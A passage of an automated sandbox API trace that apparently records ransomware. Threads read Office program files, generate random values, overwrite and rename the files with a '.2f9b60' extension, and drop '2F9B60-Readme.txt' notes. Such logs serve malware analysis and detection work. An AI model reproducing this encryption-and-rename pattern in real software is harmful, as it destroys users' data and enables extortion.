(HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859e80) returned 1 [0089.901] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ced2db0 [0089.903] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859e80 [0089.903] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859e50 [0089.903] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859e50) returned 1 [0089.903] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79ddf0) returned 1 [0089.903] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0089.903] WriteFile (in: hFile=0xa80, lpBuffer=0x1ced2db0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2643fa40, lpOverlapped=0x0 | out: lpBuffer=0x1ced2db0*, lpNumberOfBytesWritten=0x2643fa40*=0x3c00, lpOverlapped=0x0) returned 1 [0098.410] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced2db0) returned 1 [0098.410] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecf1a0) returned 1 [0098.410] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x38) returned 0x1cd9fc70 [0098.410] SetFilePointerEx (in: hFile=0xa80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0098.410] WriteFile (in: hFile=0xa80, lpBuffer=0x1b7d3a20*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x2643faf0, lpOverlapped=0x0 | out: lpBuffer=0x1b7d3a20*, lpNumberOfBytesWritten=0x2643faf0*=0x11c, lpOverlapped=0x0) returned 1 [0101.550] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97670 [0101.551] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869fc0 [0101.551] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859550 [0101.551] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859550) returned 1 [0101.551] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1cd9f9f0 [0101.551] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859550 [0101.551] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8595e0 [0101.551] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8595e0) returned 1 [0101.551] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869fc0) returned 1 [0101.551] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97670) returned 1 [0101.551] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x55) returned 0x1cd86910 [0101.551] sprintf (in: _Dest=0x1cd86910, _Format="%c%c" | out: _Dest="c6") returned 2 [0101.551] sprintf (in: _Dest=0x1cd86912, _Format="%c%c" | out: _Dest="aa") returned 2 [0101.551] sprintf (in: _Dest=0x1cd86914, _Format="%c%c" | out: _Dest="28") returned 2 [0101.551] sprintf (in: _Dest=0x1cd86916, _Format="%c%c" | out: _Dest="20") returned 2 [0101.551] sprintf (in: _Dest=0x1cd86918, _Format="%c%c" | out: _Dest="a6") returned 2 [0101.551] sprintf (in: _Dest=0x1cd8691a, _Format="%c%c" | out: _Dest="f2") returned 2 [0101.552] sprintf (in: _Dest=0x1cd8691c, _Format="%c%c" | out: _Dest="d7") returned 2 [0101.552] sprintf (in: _Dest=0x1cd8691e, _Format="%c%c" | out: _Dest="a5") returned 2 [0101.552] sprintf (in: _Dest=0x1cd86920, _Format="%c%c" | out: _Dest="73") returned 2 [0101.552] sprintf (in: _Dest=0x1cd86922, _Format="%c%c" | out: _Dest="93") returned 2 [0101.552] sprintf (in: _Dest=0x1cd86924, _Format="%c%c" | out: _Dest="62") returned 2 [0101.552] sprintf (in: _Dest=0x1cd86926, _Format="%c%c" | out: _Dest="7e") returned 2 [0101.552] sprintf (in: _Dest=0x1cd86928, _Format="%c%c" | out: _Dest="6d") returned 2 [0101.552] sprintf (in: _Dest=0x1cd8692a, _Format="%c%c" | out: _Dest="db") returned 2 [0101.552] sprintf (in: _Dest=0x1cd8692c, _Format="%c%c" | out: _Dest="ad") returned 2 [0101.552] sprintf (in: _Dest=0x1cd8692e, _Format="%c%c" | out: _Dest="58") returned 2 [0101.552] sprintf (in: _Dest=0x1cd86930, _Format="%c%c" | out: _Dest="74") returned 2 [0101.552] sprintf (in: _Dest=0x1cd86932, _Format="%c%c" | out: _Dest="06") returned 2 [0101.552] sprintf (in: _Dest=0x1cd86934, _Format="%c%c" | out: _Dest="25") returned 2 [0101.552] sprintf (in: _Dest=0x1cd86936, _Format="%c%c" | out: _Dest="05") returned 2 [0101.552] sprintf (in: _Dest=0x1cd86938, _Format="%c%c" | out: _Dest="69") returned 2 [0101.552] sprintf (in: _Dest=0x1cd8693a, _Format="%c%c" | out: _Dest="ba") returned 2 [0101.552] sprintf (in: _Dest=0x1cd8693c, _Format="%c%c" | out: _Dest="df") returned 2 [0101.552] sprintf (in: _Dest=0x1cd8693e, _Format="%c%c" | out: _Dest="18") returned 2 [0101.552] sprintf (in: _Dest=0x1cd86940, _Format="%c%c" | out: _Dest="2d") returned 2 [0101.552] sprintf (in: _Dest=0x1cd86942, _Format="%c%c" | out: _Dest="85") returned 2 [0101.552] sprintf (in: _Dest=0x1cd86944, _Format="%c%c" | out: _Dest="f9") returned 2 [0101.552] sprintf (in: _Dest=0x1cd86946, _Format="%c%c" | out: _Dest="48") returned 2 [0101.552] sprintf (in: _Dest=0x1cd86948, _Format="%c%c" | out: _Dest="f5") returned 2 [0101.553] sprintf (in: _Dest=0x1cd8694a, _Format="%c%c" | out: _Dest="ff") returned 2 [0101.553] sprintf (in: _Dest=0x1cd8694c, _Format="%c%c" | out: _Dest="7a") returned 2 [0101.553] sprintf (in: _Dest=0x1cd8694e, _Format="%c%c" | out: _Dest="17") returned 2 [0101.553] sprintf (in: _Dest=0x1cd86950, _Format="%c%c" | out: _Dest="e5") returned 2 [0101.553] sprintf (in: _Dest=0x1cd86952, _Format="%c%c" | out: _Dest="98") returned 2 [0101.553] sprintf (in: _Dest=0x1cd86954, _Format="%c%c" | out: _Dest="be") returned 2 [0101.553] sprintf (in: _Dest=0x1cd86956, _Format="%c%c" | out: _Dest="8f") returned 2 [0101.553] sprintf (in: _Dest=0x1cd86958, _Format="%c%c" | out: _Dest="7b") returned 2 [0101.553] sprintf (in: _Dest=0x1cd8695a, _Format="%c%c" | out: _Dest="d2") returned 2 [0101.553] sprintf (in: _Dest=0x1cd8695c, _Format="%c%c" | out: _Dest="88") returned 2 [0101.553] sprintf (in: _Dest=0x1cd8695e, _Format="%c%c" | out: _Dest="42") returned 2 [0101.553] sprintf (in: _Dest=0x1cd86960, _Format="%c%c" | out: _Dest="e6") returned 2 [0101.553] sprintf (in: _Dest=0x1cd86962, _Format="%c%c" | out: _Dest="19") returned 2 [0101.553] RtlInitAnsiString (in: DestinationString=0x2643fb68, SourceString="c6aa2820a6f2d7a57393627e6ddbad587406250569badf182d85f948f5ff7a17e598be8f7bd28842e619" | out: DestinationString="c6aa2820a6f2d7a57393627e6ddbad587406250569badf182d85f948f5ff7a17e598be8f7bd28842e619") [0101.553] RtlAnsiStringToUnicodeString (in: DestinationString=0x2643fb38, SourceString="c6aa2820a6f2d7a57393627e6ddbad587406250569badf182d85f948f5ff7a17e598be8f7bd28842e619", AllocateDestinationString=1 | out: DestinationString="c6aa2820a6f2d7a57393627e6ddbad587406250569badf182d85f948f5ff7a17e598be8f7bd28842e619") returned 0x0 [0101.553] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x1070c0 [0101.553] wcscat (in: _Dest=0x202b1730, _Source="c6aa2820a6f2d7a573936" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\c6aa2820a6f2d7a573936") returned="C:\\Program Files\\Microsoft Office\\Office14\\c6aa2820a6f2d7a573936" [0101.554] wcscat (in: _Dest=0x202b1730, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\c6aa2820a6f2d7a573936.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\c6aa2820a6f2d7a573936.2f9b60" [0101.554] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\c6aa2820a6f2d7a573936.2f9b60", NtPathName=0x2643fb10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\c6aa2820a6f2d7a573936.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0101.554] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x106580 [0102.767] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106580) returned 1 [0102.767] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050daf0) returned 1 [0102.767] NtQueryInformationFile (in: FileHandle=0xa80, IoStatusBlock=0x2643fb78, FileInformation=0x2643fb88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2643fb78, FileInformation=0x2643fb88) returned 0x0 [0102.767] NtSetInformationFile (FileHandle=0xa80, IoStatusBlock=0x2643fb78, FileInformation=0x2643fb88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0103.445] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1730) returned 1 [0103.445] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1070c0) returned 1 [0103.445] FlushFileBuffers (hFile=0xa80) returned 1 [0103.448] CloseHandle (hObject=0xa80) returned 1 [0103.855] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x2050a530 [0103.855] wcscpy (in: _Dest=0x2050a530, _Source="C:\\Program Files\\Microsoft Office\\Office14\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0103.855] wcscat (in: _Dest=0x2050a530, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt" [0103.855] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\2f9b60-readme.txt")) returned 0x20 [0103.856] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050a530) returned 1 [0103.856] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85c060) returned 1 Thread: id = 377 os_tid = 0xf14 [0089.898] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man" (normalized: "c:\\program files\\microsoft office\\office14\\bcsevents.man")) returned 0x20 [0089.899] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man", dwFileAttributes=0x20) returned 1 [0089.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man" (normalized: "c:\\program files\\microsoft office\\office14\\bcsevents.man"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xa84 [0089.899] GetFileSizeEx (in: hFile=0xa84, lpFileSize=0x262ffda0 | out: lpFileSize=0x262ffda0*=36177) returned 1 [0089.899] SetFilePointerEx (in: hFile=0xa84, liDistanceToMove=0x8d4d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.899] ReadFile (in: hFile=0xa84, lpBuffer=0x262ffd20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x262ffd68, lpOverlapped=0x0 | out: lpBuffer=0x262ffd20*, lpNumberOfBytesRead=0x262ffd68*=0x4, lpOverlapped=0x0) returned 1 [0089.904] SetFilePointerEx (in: hFile=0xa84, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.904] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859e50 [0089.904] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a450 [0089.904] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a330 [0089.904] NtQuerySystemTime (in: CurrentTime=0x262ffc60 | out: CurrentTime=0x262ffc60*=132462176957758000) returned 0x0 [0089.904] RtlRandomEx (in: Seed=0x262ffc50 | out: Seed=0x262ffc50) returned 0x6d4b5930 [0089.904] RtlRandomEx (in: Seed=0x262ffc50 | out: Seed=0x262ffc50) returned 0x6f7ccd02 [0089.904] RtlRandomEx (in: Seed=0x262ffc50 | out: Seed=0x262ffc50) returned 0x6820e39a [0089.904] RtlRandomEx (in: Seed=0x262ffc50 | out: Seed=0x262ffc50) returned 0x56353ef7 [0089.904] RtlRandomEx (in: Seed=0x262ffc50 | out: Seed=0x262ffc50) returned 0x25c52388 [0089.905] RtlRandomEx (in: Seed=0x262ffc50 | out: Seed=0x262ffc50) returned 0x48dda0f5 [0089.905] RtlRandomEx (in: Seed=0x262ffc50 | out: Seed=0x262ffc50) returned 0x90584b [0089.905] RtlRandomEx (in: Seed=0x262ffc50 | out: Seed=0x262ffc50) returned 0x3d095f81 [0089.905] RtlRandomEx (in: Seed=0x262ffc50 | out: Seed=0x262ffc50) returned 0x16efe31c [0089.905] RtlRandomEx (in: Seed=0x262ffc50 | out: Seed=0x262ffc50) returned 0x39cb3cc5 [0089.905] RtlRandomEx (in: Seed=0x262ffc50 | out: Seed=0x262ffc50) returned 0x6b56e6d2 [0089.905] RtlRandomEx (in: Seed=0x262ffc50 | out: Seed=0x262ffc50) returned 0x5075382a [0089.905] RtlRandomEx (in: Seed=0x262ffc50 | out: Seed=0x262ffc50) returned 0x75f68a62 [0089.905] RtlRandomEx (in: Seed=0x262ffc50 | out: Seed=0x262ffc50) returned 0x39088810 [0089.905] RtlRandomEx (in: Seed=0x262ffc50 | out: Seed=0x262ffc50) returned 0x53906485 [0089.905] RtlRandomEx (in: Seed=0x262ffc50 | out: Seed=0x262ffc50) returned 0x72721a15 [0089.905] RtlRandomEx (in: Seed=0x262ffc50 | out: Seed=0x262ffc50) returned 0x7fa50a3f [0089.905] RtlRandomEx (in: Seed=0x262ffc50 | out: Seed=0x262ffc50) returned 0x2ce14ea4 [0089.905] RtlRandomEx (in: Seed=0x262ffc50 | out: Seed=0x262ffc50) returned 0x25ff620c [0089.905] RtlRandomEx (in: Seed=0x262ffc50 | out: Seed=0x262ffc50) returned 0x1d1bf620 [0089.905] RtlRandomEx (in: Seed=0x262ffc50 | out: Seed=0x262ffc50) returned 0x42bf3d23 [0089.905] RtlRandomEx (in: Seed=0x262ffc50 | out: Seed=0x262ffc50) returned 0x7e362008 [0089.905] RtlRandomEx (in: Seed=0x262ffc50 | out: Seed=0x262ffc50) returned 0x632127eb [0089.905] RtlRandomEx (in: Seed=0x262ffc50 | out: Seed=0x262ffc50) returned 0x7d6bf01f [0089.905] RtlRandomEx (in: Seed=0x262ffc50 | out: Seed=0x262ffc50) returned 0x1085db7b [0089.905] RtlRandomEx (in: Seed=0x262ffc50 | out: Seed=0x262ffc50) returned 0x9e1e8d3 [0089.905] RtlRandomEx (in: Seed=0x262ffc50 | out: Seed=0x262ffc50) returned 0x10fed12f [0089.905] RtlRandomEx (in: Seed=0x262ffc50 | out: Seed=0x262ffc50) returned 0x329d1901 [0089.905] RtlRandomEx (in: Seed=0x262ffc50 | out: Seed=0x262ffc50) returned 0x47a5cf0d [0089.905] RtlRandomEx (in: Seed=0x262ffc50 | out: Seed=0x262ffc50) returned 0x3672b36a [0089.905] RtlRandomEx (in: Seed=0x262ffc50 | out: Seed=0x262ffc50) returned 0x7980c45f [0089.905] RtlRandomEx (in: Seed=0x262ffc50 | out: Seed=0x262ffc50) returned 0x56a578ed [0089.916] SetFilePointerEx (in: hFile=0xa84, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.916] ReadFile (in: hFile=0xa84, lpBuffer=0x1ced69c0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x262ffcc0, lpOverlapped=0x0 | out: lpBuffer=0x1ced69c0*, lpNumberOfBytesRead=0x262ffcc0*=0x3c00, lpOverlapped=0x0) returned 1 [0089.917] SetFilePointerEx (in: hFile=0xa84, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.917] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0089.917] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79ddf0 [0089.917] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859e50 [0089.917] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859e50) returned 1 [0089.918] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ceda600 [0089.920] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859e50 [0089.920] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a330 [0089.920] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a330) returned 1 [0089.920] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79ddf0) returned 1 [0089.920] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0089.920] WriteFile (in: hFile=0xa84, lpBuffer=0x1ceda600*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x262ffcc0, lpOverlapped=0x0 | out: lpBuffer=0x1ceda600*, lpNumberOfBytesWritten=0x262ffcc0*=0x3c00, lpOverlapped=0x0) returned 1 [0089.927] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceda600) returned 1 [0089.927] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced69c0) returned 1 [0089.927] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b85a330 [0089.928] SetFilePointerEx (in: hFile=0xa84, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0089.928] WriteFile (in: hFile=0xa84, lpBuffer=0x166e00*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x262ffd70, lpOverlapped=0x0 | out: lpBuffer=0x166e00*, lpNumberOfBytesWritten=0x262ffd70*=0x10c, lpOverlapped=0x0) returned 1 [0089.931] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0089.932] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79ddf0 [0089.932] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a0c0 [0089.932] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a0c0) returned 1 [0089.932] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b85a0c0 [0089.932] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a120 [0089.932] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a240 [0089.932] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a240) returned 1 [0089.932] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79ddf0) returned 1 [0089.932] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0089.932] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x1cd9fc30 [0089.932] sprintf (in: _Dest=0x1cd9fc30, _Format="%c%c" | out: _Dest="bb") returned 2 [0089.932] sprintf (in: _Dest=0x1cd9fc32, _Format="%c%c" | out: _Dest="9f") returned 2 [0089.932] sprintf (in: _Dest=0x1cd9fc34, _Format="%c%c" | out: _Dest="81") returned 2 [0089.932] sprintf (in: _Dest=0x1cd9fc36, _Format="%c%c" | out: _Dest="32") returned 2 [0089.932] sprintf (in: _Dest=0x1cd9fc38, _Format="%c%c" | out: _Dest="19") returned 2 [0089.932] sprintf (in: _Dest=0x1cd9fc3a, _Format="%c%c" | out: _Dest="56") returned 2 [0089.932] sprintf (in: _Dest=0x1cd9fc3c, _Format="%c%c" | out: _Dest="13") returned 2 [0089.933] sprintf (in: _Dest=0x1cd9fc3e, _Format="%c%c" | out: _Dest="0f") returned 2 [0089.933] sprintf (in: _Dest=0x1cd9fc40, _Format="%c%c" | out: _Dest="01") returned 2 [0089.933] sprintf (in: _Dest=0x1cd9fc42, _Format="%c%c" | out: _Dest="10") returned 2 [0089.933] sprintf (in: _Dest=0x1cd9fc44, _Format="%c%c" | out: _Dest="92") returned 2 [0089.933] sprintf (in: _Dest=0x1cd9fc46, _Format="%c%c" | out: _Dest="63") returned 2 [0089.933] sprintf (in: _Dest=0x1cd9fc48, _Format="%c%c" | out: _Dest="33") returned 2 [0089.933] sprintf (in: _Dest=0x1cd9fc4a, _Format="%c%c" | out: _Dest="6b") returned 2 [0089.933] sprintf (in: _Dest=0x1cd9fc4c, _Format="%c%c" | out: _Dest="56") returned 2 [0089.933] sprintf (in: _Dest=0x1cd9fc4e, _Format="%c%c" | out: _Dest="1f") returned 2 [0089.933] sprintf (in: _Dest=0x1cd9fc50, _Format="%c%c" | out: _Dest="cc") returned 2 [0089.933] sprintf (in: _Dest=0x1cd9fc52, _Format="%c%c" | out: _Dest="d0") returned 2 [0089.933] sprintf (in: _Dest=0x1cd9fc54, _Format="%c%c" | out: _Dest="c4") returned 2 [0089.933] sprintf (in: _Dest=0x1cd9fc56, _Format="%c%c" | out: _Dest="9d") returned 2 [0089.933] sprintf (in: _Dest=0x1cd9fc58, _Format="%c%c" | out: _Dest="79") returned 2 [0089.933] sprintf (in: _Dest=0x1cd9fc5a, _Format="%c%c" | out: _Dest="c6") returned 2 [0089.933] sprintf (in: _Dest=0x1cd9fc5c, _Format="%c%c" | out: _Dest="70") returned 2 [0089.933] sprintf (in: _Dest=0x1cd9fc5e, _Format="%c%c" | out: _Dest="cf") returned 2 [0089.933] sprintf (in: _Dest=0x1cd9fc60, _Format="%c%c" | out: _Dest="60") returned 2 [0089.933] sprintf (in: _Dest=0x1cd9fc62, _Format="%c%c" | out: _Dest="b7") returned 2 [0089.933] RtlInitAnsiString (in: DestinationString=0x262ffde8, SourceString="bb9f81321956130f01109263336b561fccd0c49d79c670cf60b7" | out: DestinationString="bb9f81321956130f01109263336b561fccd0c49d79c670cf60b7") [0089.934] RtlAnsiStringToUnicodeString (in: DestinationString=0x262ffdb8, SourceString="bb9f81321956130f01109263336b561fccd0c49d79c670cf60b7", AllocateDestinationString=1 | out: DestinationString="bb9f81321956130f01109263336b561fccd0c49d79c670cf60b7") returned 0x0 [0089.934] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b79dd70 [0089.934] wcscat (in: _Dest=0x1b85bb50, _Source="bb9f813219561" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\bb9f813219561") returned="C:\\Program Files\\Microsoft Office\\Office14\\bb9f813219561" [0089.934] wcscat (in: _Dest=0x1b85bb50, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\bb9f813219561.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\bb9f813219561.2f9b60" [0089.934] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\bb9f813219561.2f9b60", NtPathName=0x262ffd90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\bb9f813219561.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0089.934] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x1ce10c60 [0089.936] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce10c60) returned 1 [0089.936] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77af50) returned 1 [0089.936] NtQueryInformationFile (in: FileHandle=0xa84, IoStatusBlock=0x262ffdf8, FileInformation=0x262ffe08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x262ffdf8, FileInformation=0x262ffe08) returned 0x0 [0089.936] NtSetInformationFile (FileHandle=0xa84, IoStatusBlock=0x262ffdf8, FileInformation=0x262ffe08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0089.937] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85bb50) returned 1 [0089.937] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dd70) returned 1 [0089.938] FlushFileBuffers (hFile=0xa84) returned 1 [0089.951] CloseHandle (hObject=0xa84) returned 1 [0089.951] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b85bb50 [0089.951] wcscpy (in: _Dest=0x1b85bb50, _Source="C:\\Program Files\\Microsoft Office\\Office14\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0089.951] wcscat (in: _Dest=0x1b85bb50, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt" [0089.952] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\2f9b60-readme.txt")) returned 0xffffffff [0089.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa84 [0089.952] WriteFile (in: hFile=0xa84, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x262ffcb0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x262ffcb0*=0xba9, lpOverlapped=0x0) returned 1 [0089.953] CloseHandle (hObject=0xa84) returned 1 [0089.954] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85bb50) returned 1 [0089.954] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e870) returned 1 Thread: id = 378 os_tid = 0xf18 [0089.927] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\bdcmetadata.xsd" (normalized: "c:\\program files\\microsoft office\\office14\\bdcmetadata.xsd")) returned 0x20 [0089.929] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\bdcmetadata.xsd", dwFileAttributes=0x20) returned 1 [0089.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\bdcmetadata.xsd" (normalized: "c:\\program files\\microsoft office\\office14\\bdcmetadata.xsd"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xa88 [0089.929] GetFileSizeEx (in: hFile=0xa88, lpFileSize=0x25a9fda0 | out: lpFileSize=0x25a9fda0*=26027) returned 1 [0089.929] SetFilePointerEx (in: hFile=0xa88, liDistanceToMove=0x65a7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.929] ReadFile (in: hFile=0xa88, lpBuffer=0x25a9fd20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x25a9fd68, lpOverlapped=0x0 | out: lpBuffer=0x25a9fd20*, lpNumberOfBytesRead=0x25a9fd68*=0x4, lpOverlapped=0x0) returned 1 [0089.938] SetFilePointerEx (in: hFile=0xa88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.939] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a360 [0089.939] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a3c0 